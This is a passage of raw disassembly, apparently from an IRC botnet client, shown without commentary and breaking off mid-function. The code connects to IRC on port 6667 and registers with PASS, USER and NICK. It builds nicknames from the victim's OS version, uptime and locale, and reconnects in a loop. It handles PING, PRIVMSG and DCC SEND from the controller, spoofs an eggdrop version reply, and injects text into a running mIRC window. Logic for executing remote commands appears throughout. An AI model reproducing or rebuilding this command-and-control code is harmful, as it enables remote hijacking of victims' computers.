pop ecx push [ebp+var_8] push offset aExecutingComma ; "Executing command(s): %s" push 0 push [ebp+var_4] push offset sub_40C93C call sub_4095A4 add esp, 14h locret_40CF23: ; CODE XREF: sub_40CEB0+17j ; sub_40CEB0+2Dj leave retn sub_40CEB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF25 proc near ; CODE XREF: sub_4020C2+B3p ; sub_40D871+59Bp ... push ebp mov ebp, esp mov eax, dword_41E9A4 pop ebp retn sub_40CF25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF2F proc near ; CODE XREF: sub_40D366+Dp ; sub_40D366+8Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 jz short loc_40CF9E push [ebp+arg_0] push offset dword_41E898 call sub_416B3A ; strcpy pop ecx pop ecx cmp [ebp+arg_4], 0 jz short loc_40CF60 push [ebp+arg_4] push offset dword_41E998 call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_40CF71 ; --------------------------------------------------------------------------- loc_40CF60: ; CODE XREF: sub_40CF2F+1Ej push offset a6667 ; "6667" push offset dword_41E998 call sub_416B3A ; strcpy pop ecx pop ecx loc_40CF71: ; CODE XREF: sub_40CF2F+2Fj cmp [ebp+arg_8], 0 jz short loc_40CF88 push [ebp+arg_8] push offset byte_41E718 call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_40CF99 ; --------------------------------------------------------------------------- loc_40CF88: ; CODE XREF: sub_40CF2F+46j push offset byte_41DE30 push offset byte_41E718 call sub_416B3A ; strcpy pop ecx pop ecx loc_40CF99: ; CODE XREF: sub_40CF2F+57j jmp loc_40D020 ; --------------------------------------------------------------------------- loc_40CF9E: ; CODE XREF: sub_40CF2F+9j and [ebp+var_4], 0 jmp short loc_40CFAB ; --------------------------------------------------------------------------- loc_40CFA4: ; CODE XREF: sub_40CF2F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40CFAB: ; CODE XREF: sub_40CF2F+73j mov eax, [ebp+var_4] imul eax, 0Ch cmp off_41DA68[eax], 0 jz short loc_40CFBC jmp short loc_40CFA4 ; --------------------------------------------------------------------------- loc_40CFBC: ; CODE XREF: sub_40CF2F+89j call sub_410422 xor edx, edx div [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA68[eax] push offset dword_41E898 call sub_416B3A ; strcpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA6C[eax] push offset dword_41E998 call sub_416B3A ; strcpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch cmp dword_41DA70[eax], 0 jz short loc_40D020 mov eax, [ebp+var_8] imul eax, 0Ch push dword_41DA70[eax] push offset byte_41E718 call sub_416B3A ; strcpy pop ecx pop ecx loc_40D020: ; CODE XREF: sub_40CF2F:loc_40CF99j ; sub_40CF2F+D7j push offset dword_41E898 call sub_4105AD pop ecx push offset dword_41E998 call sub_4105AD pop ecx push offset byte_41E718 call sub_4105AD pop ecx leave retn sub_40CF2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D043 proc near ; CODE XREF: sub_40D366+7Fp ; sub_40D871+619p var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_184 = byte ptr -184h var_104 = byte ptr -104h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push edi lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_80] push eax call sub_40668F add esp, 0Ch movsx eax, byte_41E718 test eax, eax jz short loc_40D099 push offset byte_41E718 call sub_4105FB pop ecx push offset byte_41E718 push offset aPassS ; "PASS %s" call sub_40D6CB pop ecx pop ecx push offset byte_41E718 call sub_4105AD pop ecx loc_40D099: ; CODE XREF: sub_40D043+2Dj cmp [ebp+arg_0], 0 jz loc_40D132 movsx eax, byte_41EEC8 test eax, eax jz short loc_40D0C3 push offset byte_41EEC8 lea eax, [ebp+var_184] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_40D0D6 ; --------------------------------------------------------------------------- loc_40D0C3: ; CODE XREF: sub_40D043+69j lea eax, [ebp+var_184] push eax push offset byte_41EEC8 call sub_416B3A ; strcpy pop ecx pop ecx loc_40D0D6: ; CODE XREF: sub_40D043+7Ej movsx eax, byte_41F048 test eax, eax jz short loc_40D0F6 push offset byte_41F048 lea eax, [ebp+var_104] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_40D109 ; --------------------------------------------------------------------------- loc_40D0F6: ; CODE XREF: sub_40D043+9Cj lea eax, [ebp+var_104] push eax push offset byte_41F048 call sub_416B3A ; strcpy pop ecx pop ecx loc_40D109: ; CODE XREF: sub_40D043+B1j lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax push offset aUserSSSS ; "USER %s %s %s :%s" call sub_40D6CB add esp, 14h loc_40D132: ; CODE XREF: sub_40D043+5Aj cmp [ebp+arg_4], 0 jz loc_40D363 cmp [ebp+arg_0], 0 jz short loc_40D163 movsx eax, byte_41EE48 test eax, eax jz short loc_40D163 push offset byte_41EE48 push offset aNickS ; "NICK %s" call sub_40D6CB pop ecx pop ecx jmp loc_40D363 ; --------------------------------------------------------------------------- loc_40D163: ; CODE XREF: sub_40D043+FDj ; sub_40D043+108j call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_188], eax cmp [ebp+var_188], 4 jnb short loc_40D18D call sub_406AE7 test eax, eax jz loc_40D31F loc_40D18D: ; CODE XREF: sub_40D043+13Bj call sub_406A23 lea eax, [ebp+var_24C] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40D1B6 push offset aUnk ; "UNK" lea eax, [ebp+var_24C] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_40D1B6: ; CODE XREF: sub_40D043+15Ej call sub_408E8E cmp eax, 400h jbe short loc_40D1CF call sub_408E8E mov [ebp+var_250], eax jmp short loc_40D1D9 ; --------------------------------------------------------------------------- loc_40D1CF: ; CODE XREF: sub_40D043+17Dj mov [ebp+var_250], 400h loc_40D1D9: ; CODE XREF: sub_40D043+18Aj mov eax, [ebp+var_250] shr eax, 0Ah mov [ebp+var_228], eax call sub_408887 mov [ebp+var_18C], eax mov [ebp+var_224], offset aB ; "B" cmp [ebp+var_18C], 2EEh jnb short loc_40D213 mov [ebp+var_224], offset aA ; "A" loc_40D213: ; CODE XREF: sub_40D043+1C4j cmp [ebp+var_18C], 1F4h jnb short loc_40D229 mov [ebp+var_224], offset aG ; "G" loc_40D229: ; CODE XREF: sub_40D043+1DAj and [ebp+var_22C], 0 mov [ebp+var_220], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_21C] rep stosd lea eax, [ebp+var_220] push eax call ds:dword_417030 ; GetVersionExA cmp [ebp+var_21C], 5 jnz short loc_40D270 cmp [ebp+var_218], 1 jnz short loc_40D270 mov [ebp+var_22C], 1 loc_40D270: ; CODE XREF: sub_40D043+218j ; sub_40D043+221j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_22C], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_224] push [ebp+var_228] push 5Dh push [ebp+var_188] push 5Bh push 5Dh lea eax, [ebp+var_24C] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_80] push eax call sub_416B5E ; sprintf add esp, 34h movsx eax, byte_41DB34 test eax, eax jz short loc_40D31D push offset byte_41DB34 push offset aLast ; "#last" call sub_416B3A ; strcpy pop ecx pop ecx push offset aLast ; "#last" call sub_4105FB pop ecx movsx eax, byte_41DBB4 test eax, eax jz short loc_40D31D push offset byte_41DBB4 push offset dword_41ED48 call sub_416B3A ; strcpy pop ecx pop ecx push offset dword_41ED48 call sub_4105FB pop ecx loc_40D31D: ; CODE XREF: sub_40D043+295j ; sub_40D043+2BCj jmp short loc_40D343 ; --------------------------------------------------------------------------- loc_40D31F: ; CODE XREF: sub_40D043+144j push offset dword_41DAA4 lea eax, [ebp+var_80] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_80] push eax call sub_4105FB pop ecx lea eax, [ebp+var_80] push eax call sub_40D7E5 pop ecx loc_40D343: ; CODE XREF: sub_40D043:loc_40D31Dj lea eax, [ebp+var_80] push eax push offset aNickS ; "NICK %s" call sub_40D6CB pop ecx pop ecx lea eax, [ebp+var_80] push eax push offset byte_41EE48 call sub_416B3A ; strcpy pop ecx pop ecx loc_40D363: ; CODE XREF: sub_40D043+F3j ; sub_40D043+11Bj pop edi leave retn sub_40D043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D366 proc near ; CODE XREF: sub_40A9CF+1521p ; sub_40D871+4A7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF2F add esp, 0Ch push dword_41E9A4 call sub_40538D pop ecx mov [ebp+var_4], 0EA60h loc_40D38E: ; CODE XREF: sub_40D366:loc_40D419j push offset dword_41E898 call sub_4105FB pop ecx push offset dword_41E998 call sub_4105FB pop ecx push 2710h push 1 push offset dword_41E998 push offset dword_41E898 call sub_4050EA add esp, 10h mov dword_41E9A4, eax push offset dword_41E898 call sub_4105AD pop ecx push offset dword_41E998 call sub_4105AD pop ecx cmp dword_41E9A4, 0 jz short loc_40D3EE push 1 push 1 call sub_40D043 pop ecx pop ecx jmp short locret_40D41E ; --------------------------------------------------------------------------- loc_40D3EE: ; CODE XREF: sub_40D366+79j push 0 push 0 push 0 call sub_40CF2F add esp, 0Ch push [ebp+var_4] call ds:dword_41709C ; Sleep cmp [ebp+var_4], 0A4CB80h jge short loc_40D419 mov eax, [ebp+var_4] add eax, 0EA60h mov [ebp+var_4], eax loc_40D419: ; CODE XREF: sub_40D366+A6j jmp loc_40D38E ; --------------------------------------------------------------------------- locret_40D41E: ; CODE XREF: sub_40D366+86j leave retn sub_40D366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D420 proc near ; CODE XREF: sub_4020C2+1DEp ; sub_40A9CF+1219p ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; strcat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch leave retn sub_40D420 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4AB proc near ; CODE XREF: sub_4020C2+21Bp ; sub_40332B+1A6p ... var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1004] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_1008], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_1008] push eax mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; strcat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch leave retn sub_40D4AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D53F proc near ; CODE XREF: sub_401244+51p ; sub_401244+41Ep ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_40D55F jmp locret_40D6C9 ; --------------------------------------------------------------------------- loc_40D55F: ; CODE XREF: sub_40D53F+19j and [ebp+var_8], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 1 jnz short loc_40D58F mov eax, [ebp+arg_0] add eax, 21h push eax push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D58F: ; CODE XREF: sub_40D53F+2Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jnz short loc_40D5BB mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A058 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5BB: ; CODE XREF: sub_40D53F+5Aj mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D5E7 mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A048 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5E7: ; CODE XREF: sub_40D53F+86j mov eax, [ebp+arg_0] add eax, 21h push eax push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax loc_40D605: ; CODE XREF: sub_40D53F+4Ej ; sub_40D53F+7Aj ... mov eax, [ebp+arg_0] cmp dword ptr [eax+19Fh], 0 jz short loc_40D63C mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D629 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D63C loc_40D629: ; CODE XREF: sub_40D53F+DCj push offset aMessage ; "message " lea eax, [ebp+var_1008] push eax call sub_416B70 ; strcat pop ecx pop ecx loc_40D63C: ; CODE XREF: sub_40D53F+D0j ; sub_40D53F+E8j lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D680 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D693 loc_40D680: ; CODE XREF: sub_40D53F+133j push offset dword_41A038 lea eax, [ebp+var_1008] push eax call sub_416B70 ; strcat pop ecx pop ecx loc_40D693: ; CODE XREF: sub_40D53F+13Fj push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; strcat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch locret_40D6C9: ; CODE XREF: sub_40D53F+1Bj leave retn sub_40D53F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6CB proc near ; CODE XREF: sub_40332B+205p ; sub_40332B+212p ... var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 1004h call sub_416BC0 lea eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_0] push 1000h lea eax, [ebp+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; strcat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch leave retn sub_40D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D734 proc near ; CODE XREF: sub_40D74D:loc_40D75Ep var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push offset aMirc ; "mIRC" call ds:dword_4171E8 ; FindWindowA mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_40D734 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D74D proc near ; CODE XREF: sub_40A9CF+926p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jnz short loc_40D75E jmp locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D75E: ; CODE XREF: sub_40D74D+Aj call sub_40D734 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40D76E jmp short locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D76E: ; CODE XREF: sub_40D74D+1Dj push offset aMirc ; "mIRC" push 1000h push 0 push 4 push 0 push 0FFFFFFFFh call ds:dword_4170C0 ; CreateFileMappingA mov [ebp+var_8], eax push 0 push 0 push 0 push 0F001Fh push [ebp+var_8] call ds:dword_4170BC ; MapViewOfFile mov [ebp+var_C], eax push [ebp+arg_0] push [ebp+var_C] call sub_416B5E ; sprintf pop ecx pop ecx push 0 push 1 push 4C8h push [ebp+var_4] call ds:dword_4171EC ; SendMessageA push 0 push 1 push 4C9h push [ebp+var_4] call ds:dword_4171EC ; SendMessageA push [ebp+var_C] call ds:dword_4170B8 ; UnmapViewOfFile push [ebp+var_8] call ds:dword_4170A4 ; CloseHandle locret_40D7E3: ; CODE XREF: sub_40D74D+Cj ; sub_40D74D+1Fj leave retn sub_40D74D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7E5 proc near ; CODE XREF: sub_40A9CF+E3p ; sub_40D043+2FAp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40D803 ; --------------------------------------------------------------------------- loc_40D7FC: ; CODE XREF: sub_40D7E5:loc_40D86Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D803: ; CODE XREF: sub_40D7E5+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short locret_40D86F mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40D82E push 39h push 30h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D82E: ; CODE XREF: sub_40D7E5+32j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40D86D call sub_410483 test eax, eax jz short loc_40D85A push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D85A: ; CODE XREF: sub_40D7E5+5Ej push 5Ah push 41h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al loc_40D86D: ; CODE XREF: sub_40D7E5+47j ; sub_40D7E5+55j ... jmp short loc_40D7FC ; --------------------------------------------------------------------------- locret_40D86F: ; CODE XREF: sub_40D7E5+24j leave retn sub_40D7E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D871 proc near ; CODE XREF: sub_40E618+321p var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_7D8 = dword ptr -7D8h var_7D4 = dword ptr -7D4h var_7D0 = dword ptr -7D0h var_7CC = dword ptr -7CCh var_7C8 = dword ptr -7C8h var_7C4 = byte ptr -7C4h var_7C0 = dword ptr -7C0h var_7BC = byte ptr -7BCh var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_4B4 = byte ptr -4B4h var_490 = byte ptr -490h var_390 = byte ptr -390h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_35C = dword ptr -35Ch var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_238 = dword ptr -238h var_234 = byte ptr -234h var_213 = byte ptr -213h var_113 = dword ptr -113h var_10F = byte ptr -10Fh var_95 = dword ptr -95h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = byte ptr -7Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 7E8h push edi push offset aPing ; "PING" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40D8A7 mov eax, [ebp+arg_C] push dword ptr [eax+4] push offset aPongS ; "PONG %s" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8A7: ; CODE XREF: sub_40D871+1Dj push offset aPong ; "PONG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40D8C2 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8C2: ; CODE XREF: sub_40D871+4Aj push offset aMode ; "MODE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40D8DD jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8DD: ; CODE XREF: sub_40D871+65j push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz loc_40DB2D mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz loc_40DB2D mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax+1] cmp eax, 1 jnz loc_40DB2D push offset dword_41A14C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jz loc_40DA81 push offset aSend ; "SEND" mov eax, [ebp+arg_C] push dword ptr [eax+10h] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz loc_40DA81 cmp [ebp+arg_0], 0 jz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+14h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+18h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+1Ch], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+20h], 0 jnz short loc_40D98B loc_40D986: ; CODE XREF: sub_40D871+F8j ; sub_40D871+101j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D871+113j mov eax, [ebp+arg_C] mov eax, [eax+14h] movsx eax, byte ptr [eax] cmp eax, 22h jnz short loc_40D99E jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D99E: ; CODE XREF: sub_40D871+126j mov eax, [ebp+arg_C] push dword ptr [eax+20h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+20h] and byte ptr [ecx+eax], 0 push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_416B3A ; strcpy pop ecx pop ecx push offset aLast ; "#last" lea eax, [ebp+var_213] push eax call sub_416B3A ; strcpy pop ecx pop ecx and [ebp+var_113], 0 push 7Ah push 0 lea eax, [ebp+var_10F] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_95], 1 mov eax, [ebp+arg_C] push dword ptr [eax+18h] call sub_416B9C ; atoi pop ecx mov [ebp+var_238], eax movzx eax, byte ptr [ebp+var_238] push eax mov eax, [ebp+var_238] shr eax, 8 movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 10h movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 18h movzx eax, al push eax push offset aU_U_U_U ; "%u.%u.%u.%u" lea eax, [ebp+var_248] push eax call sub_416B5E ; sprintf add esp, 18h mov eax, [ebp+arg_C] push dword ptr [eax+20h] mov eax, [ebp+arg_C] push dword ptr [eax+1Ch] lea eax, [ebp+var_248] push eax mov eax, [ebp+arg_C] push dword ptr [eax+14h] push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_4024F3 add esp, 18h jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DA81: ; CODE XREF: sub_40D871+BAj ; sub_40D871+C7j ... push offset dword_41A138 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jz short loc_40DAAD push offset dword_41A12C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40DAEB loc_40DAAD: ; CODE XREF: sub_40D871+224j cmp [ebp+arg_0], 0 jz short loc_40DAD1 push offset dword_41DC34 push 3B6h push 0 push offset dword_41A108 push [ebp+arg_4] call sub_40D420 add esp, 14h jmp short loc_40DAE6 ; --------------------------------------------------------------------------- loc_40DAD1: ; CODE XREF: sub_40D871+240j push offset aEggdropV1_6_16 ; "eggdrop v1.6.16" push offset dword_41A0E8 push [ebp+arg_4] call sub_40D420 add esp, 0Ch loc_40DAE6: ; CODE XREF: sub_40D871+25Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DAEB: ; CODE XREF: sub_40D871+23Aj push offset dword_41A0E0 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jz short loc_40DB16 push offset dword_41A0D8 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call ds:dword_417108 ; lstrcmpA test eax, eax jnz short loc_40DB2D loc_40DB16: ; CODE XREF: sub_40D871+28Ej mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax push eax push [ebp+arg_4] call sub_40D420 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DB2D: ; CODE XREF: sub_40D871+80j ; sub_40D871+8Dj ... push offset a433 ; "433" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz loc_40DCFD call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_2CC], eax cmp [ebp+var_2CC], 4 jnb short loc_40DB71 call sub_406AE7 test eax, eax jz loc_40DCB8 loc_40DB71: ; CODE XREF: sub_40D871+2F1j call sub_406A23 lea eax, [ebp+var_390] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40DB9A push offset aUnk ; "UNK" lea eax, [ebp+var_390] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_40DB9A: ; CODE XREF: sub_40D871+314j call sub_408E8E cmp eax, 400h jbe short loc_40DBB3 call sub_408E8E mov [ebp+var_7E4], eax jmp short loc_40DBBD ; --------------------------------------------------------------------------- loc_40DBB3: ; CODE XREF: sub_40D871+333j mov [ebp+var_7E4], 400h loc_40DBBD: ; CODE XREF: sub_40D871+340j mov eax, [ebp+var_7E4] shr eax, 0Ah mov [ebp+var_36C], eax call sub_408887 mov [ebp+var_2D0], eax mov [ebp+var_368], offset aB ; "B" cmp [ebp+var_2D0], 3E8h jnb short loc_40DBF7 mov [ebp+var_368], offset aA ; "A" loc_40DBF7: ; CODE XREF: sub_40D871+37Aj cmp [ebp+var_2D0], 1F4h jnb short loc_40DC0D mov [ebp+var_368], offset aG ; "G" loc_40DC0D: ; CODE XREF: sub_40D871+390j and [ebp+var_370], 0 mov [ebp+var_364], 94h push 24h 